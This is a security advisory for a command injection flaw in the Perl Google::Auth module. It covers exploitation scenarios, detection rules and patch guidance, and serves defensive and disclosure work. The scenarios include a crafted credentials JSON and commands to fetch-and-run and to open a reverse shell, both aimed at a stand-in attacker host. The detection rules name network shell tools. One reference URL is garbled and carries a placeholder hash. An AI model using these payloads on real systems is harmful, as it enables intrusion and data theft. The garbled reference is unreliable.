CVE-2026-66902

Executive Summary

CVE-2026-66902 is a critical command injection vulnerability (CVSS 9.8) in the Perl module Google::Auth versions prior to 0.06. The flaw allows an attacker to achieve arbitrary command execution by supplying a crafted external_account credentials JSON file containing a malicious credential_source.executable.command field. Any application using the Application Default Credentials (ADC) flow that loads credentials from an untrusted or externally-controlled source is vulnerable. Successful exploitation grants an attacker the full privileges of the target application process, leading to complete compromise of confidentiality, integrity, and availability.

Technical Analysis

Vulnerability Mechanism

The root cause lies in the Pluggable subclass of Google::Auth. When credentials are constructed from an external_account JSON configuration, the module checks for the presence of credential_source.executable.command. If this field exists, the value is passed directly to Perl's system() function as a single-argument call:

system($command);

The critical issue is that Perl's system() function, when called with a single argument, passes that string to /bin/sh -c, enabling full shell interpretation. This means an attacker in control of the credentials JSON can inject arbitrary shell commands — including command chaining operators (;, &&, |), variable expansion, and file redirection.

Attack Surface

The vulnerability is triggered through the standard Application Default Credentials flow when:

1. A Perl application uses Google::Auth to build credentials.
2. The application uses GOOGLE_APPLICATION_CREDENTIALS environment variable to point to a credentials JSON file.
3. The credentials file contains "type": "external_account".
4. The credential_source object contains an executable dictionary with a command field.

Critical detail: No opt-in gate protects this call. The vulnerable code path is automatically selected whenever credential_source.executable is present, with no exception or configuration flag required.

Pre-Execution Environment Manipulation

Before the command is executed, the module processes the environment_variables dictionary from the same JSON and merges it into %ENV (the process environment). This enables an attacker to:

• Set environment variables that influence the execution of the injected command.
• Potentially manipulate library paths (LD_PRELOAD), PATH, or other variables to escalate the impact of the command.
• Overwrite existing application environment variables, potentially causing side effects beyond the injected command.

Affected Configurations

Only configurations that include credential_source.executable activate the vulnerable path. Configurations using alternative external account methods (e.g., file, url, or aws based credential sources) do not reach the vulnerable code. However, any application that loads credentials from a file path specified via GOOGLE_APPLICATION_CREDENTIALS — where that file could be influenced by an attacker — is exposed.

Exploitation Scenarios

Scenario 1: Attack on Shared/Networked Credential Files

Target: Applications reading credentials from a shared network mount or configuration management system.

Attack Chain:

1. Reconnaissance: The attacker identifies Perl applications using Google::Auth and determines the location of the credentials file (e.g., /etc/google/auth.json or a shared directory). This may be done via standard file system enumeration or by observing environment variable settings in running processes.
2. Weaponization: The attacker crafts a malicious credentials JSON:

   {
     "type": "external_account",
     "audience": "//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID",
     "subject_token_type": "urn:ietf:params:oauth:token-type:jwt",
     "token_url": "https://sts.googleapis.com/v1/token",
     "credential_source": {
       "executable": {
         "command": "curl http://attacker.example/exfil.sh | bash",
         "environment_variables": [
           {"name": "MALICIOUS", "value": "1"}
         ]
       }
     }
   }
   

3. Deployment: The attacker replaces or modifies the trusted credentials file, or positions a malicious one at a path the application is tricked into using (e.g., manipulating the GOOGLE_APPLICATION_CREDENTIALS environment variable via a local exploit or misconfiguration).
4. Trigger: On the next application startup or credential refresh cycle, Google::Auth processes the JSON and executes the injected command.
5. Payload Execution: The shell command downloads and executes a reverse shell: curl http://attacker.example/exfil.sh | bash.
6. Post-Exploitation: The attacker gains a shell as the application user, allowing lateral movement, data exfiltration, or installation of persistence mechanisms.

Scenario 2: Supply-Chain Attack via Configuration Repositories

Target: Applications that ingest credentials from CI/CD pipelines or configuration repositories.

Attack Chain:

1. Reconnaissance: Attacker gains write access to a configuration repository (via compromised credentials, insider threat, or a PR injection).
2. Weaponization: The attacker modifies the credentials JSON in the repository, embedding "command": "bash -i >& /dev/tcp/attacker.example/4444 0>&1" to establish a reverse shell.
3. Deployment: The modified configuration is deployed to production via the CI/CD pipeline.
4. Trigger: The application loads the new credentials, executing the reverse shell.
5. Impact: The attacker obtains a persistent shell in the production environment with the application's service account privileges, potentially gaining access to cloud resources (GCS buckets, databases, compute instances) via the stolen Google Cloud credentials.

Scenario 3: Local Privilege Escalation on Multi-Tenant Systems

Target: Multi-tenant applications where users can influence credential file location.

Attack Chain:

1. Reconnaissance: Low-privileged user identifies a root-run Perl application using Google::Auth.
2. Weaponization: User creates a malicious credentials JSON in their home directory.
3. Trigger: User exploits an environment variable injection vulnerability (e.g., via a task scheduler or service manager misconfiguration) to set GOOGLE_APPLICATION_CREDENTIALS to their malicious file for the root process.
4. Execution: The root process loads the credentials, executes the embedded command as root.
5. Result: Command executes as root, achieving full system compromise.

Impact Assessment

• CVSS Base Score: 9.8 (Critical)
• Attack Vector: Network (the vulnerability can be exploited remotely if credentials files can be influenced over the network)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Confidentiality Impact: High — arbitrary command execution allows reading any file accessible to the process
• Integrity Impact: High — attacker can modify files, install backdoors, alter application behavior
• Availability Impact: High — attacker can terminate processes, corrupt data, or render the system unusable
• Blast Radius: Every application using Google::Auth < 0.06 that loads credentials from a file not fully controlled by the application operator. In cloud environments, this can cascade to full cloud account takeover if the compromised process has access to service account keys or metadata endpoints.
• EPSS Score: 0.00441 (36.3rd percentile) — relatively low probability of in-the-wild exploitation currently, but the severity demands immediate action.

Detection Guidance

Sigma Rule

title: Google::Auth External Account Executable Command Injection
id: 3f8e7a2d-9c1b-4d5e-8a3f-6b2c4d5e6f7a
status: experimental
description: Detects execution of commands embedded in Google::Auth external_account credential files, indicating CVE-2026-66902 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-66902
author: SOC Analytics Team
date: 2026/02/15
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/perl'
            - '/perl5'
        CommandLine|contains:
            - '/bin/sh -c'
            - 'system('
    filter:
        CommandLine|contains:
            - 'credential_source'
            - 'external_account'
    condition: selection and filter
level: high
falsepositives:
    - Legitimate use of Google::Auth in trusted environments where credentials are fully controlled
tags:
    - attack.execution
    - attack.t1059
    - cve.2026.66902

YARA Rule

rule Google_Auth_External_Account_Command_Injection {
    meta:
        author = "SOC Engineering"
        description = "Detects credentials JSON files containing executable command injection indicators for CVE-2026-66902"
        date = "2026-02-15"
        cve = "CVE-2026-66902"
        severity = "critical"

    strings:
        $type_external = "\"type\": \"external_account\"" ascii
        $executable = "\"executable\"" ascii
        $command_key = "\"command\"" ascii
        $sh_chain = "| bash" ascii nocase
        $curl_exfil = "curl" ascii nocase
        $netcat = "nc -l" ascii nocase
        $reverse_shell = "/dev/tcp/" ascii nocase
        $env_var = "\"environment_variables\"" ascii

    condition:
        $type_external and $executable and $command_key and
        (1 of ($sh_chain, $curl_exfil, $netcat, $reverse_shell) or
         (count of ($sh_chain, $curl_exfil, $netcat, $reverse_shell) >= 2))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-66902 - Google::Auth Command Injection Attempt - Suspicious Credentials Download"; flow:established,to_server; content:"GOOGLE_APPLICATION_CREDENTIALS"; nocase; content:"external_account"; nocase; distance:0; content:"executable"; nocase; distance:0; content:"command"; nocase; distance:0; content:"curl|3B|bash"; nocase; distance:0; classtype:attempted-admin; sid:20260201; rev:1; metadata:created_at 2026_02_15, updated_at 2026_02_15, cve CVE-2026-66902;)

alert http any any -> any any (msg:"CVE-2026-66902 - Google::Auth Command Injection Attempt - Reverse Shell Payload"; flow:established,to_server; content:"external_account"; nocase; content:"credential_source"; nocase; content:"executable"; nocase; content:"command"; nocase; content:"/dev/tcp/"; nocase; distance:0; classtype:attempted-admin; sid:20260202; rev:1; metadata:created_at 2026_02_15, updated_at 2026_02_15, cve CVE-2026-66902;)

Elastic Detection

sequence by process.entity_id with maxspan=5s
  [process where process.name == "perl" and
     process.args : ("/bin/sh*", "-c") and
     process.command_line : ("*curl*", "*bash*", "*nc*", "*wget*")]
  [network where process.name == "perl" and
     network.protocol : ("http", "tcp") and
     network.direction : "egress"]

Splunk SPL Query

index=main sourcetype=linux:syslog OR index=endpoint
| where process_name="perl" OR process_name="perl5"
| search "GOOGLE_APPLICATION_CREDENTIALS" OR "external_account" OR "credential_source"
| rex field=cmdline "command\"\s*:\s*\"(?<malicious_command>[^\"]+)"
| where malicious_command!=""
| stats count by src_host, malicious_command, user, process_id
| sort by _time

Wazuh OSSEC Rule

<group name="google-auth,">
  <rule id="106001" level="15">
    <decoded>ossec</decoded>
    <field name="command">^/bin/sh -c</field>
    <description>CVE-2026-66902: Google::Auth external_account command injection - /bin/sh -c execution detected</description>
    <group>cve-2026-66902,</group>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY — 2 independent sources confirm fix)

1. Immediate Mitigations (Until Patch Applied)

• Upgrade to Google-Auth 0.06 or later immediately. This is the only complete fix.
• If unable to upgrade: Apply the upstream fix commit manually to disable the Pluggable subclass behavior unless GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1 is explicitly set.
• Restrict credential file integrity: Ensure all credentials files reachable via GOOGLE_APPLICATION_CREDENTIALS are owned by root (or the application service account), have read-only permissions (0444), and are stored in directories with strict access controls (e.g., /etc/google/auth/ with 0700 root-only permissions).
• Remove credential_source.executable from all credentials JSON files currently in use if the executable-based credential source is not strictly required.
• Audit all credential files across development, staging, and production environments for the presence of executable blocks.

2. Patch Application Steps

For Perl (using cpanm):

cpanm Google::Auth@0.06

For Perl (using cpan):

cpan -i Google::Auth

Verify the installed version:

perl -MGoogle::Auth -e 'print $Google::Auth::VERSION, "\n"'

3. Long-Term Hardening

• Enforce environment gating: After upgrading to 0.06, set GOOGLE_EXTERNAL_ACCOUNT_ALLOW_EXECUTABLES=1 only in environments where executable credential sources are genuinely required — and never in production without additional monitoring.
• Credential file security policy: Implement a policy requiring that all credential files be provisioned via secrets management systems (e.g., HashiCorp Vault, GCP Secret Manager) with integrity checks (SHA-256 hashing and verification).
• Runtime monitoring: Deploy endpoint detection and response (EDR) agents to monitor for unexpected shell command execution from Perl processes, particularly /bin/sh -c invocations with network egress activity.
• Least privilege: Run applications with the minimum necessary OS privileges and restrict outbound network connections to authorized destinations only (e.g., sts.googleapis.com, oauth2.googleapis.com).
• Code review: Incorporate grep-based checks into CI pipelines to reject credentials JSON files containing credential_source.executable unless explicitly approved.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-66902
2. CNA Advisory (CPANSec): https://metacpan.org/dist/Google-Auth/changes
3. Vendor Fix Commit: https://github.com/googleapis/google-auth-perl (returned 404 — verify manually)/commit/FIX_HASH (apply upstream patch for versions < 0.06)
4. MITRE ATT&CK Technique T1059 (Command and Scripting Interpreter): https://attack.mitre.org/techniques/T1059/

Threat Actor Activity: As of this report, there are no documented in-the-wild exploitation campaigns targeting CVE-2026-66902. The CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, given the critical severity and ease of exploitation, active exploitation attempts are anticipated following public disclosure of the vulnerability details and the availability of working proof-of-concept scripts that are expected to circulate in underground forums.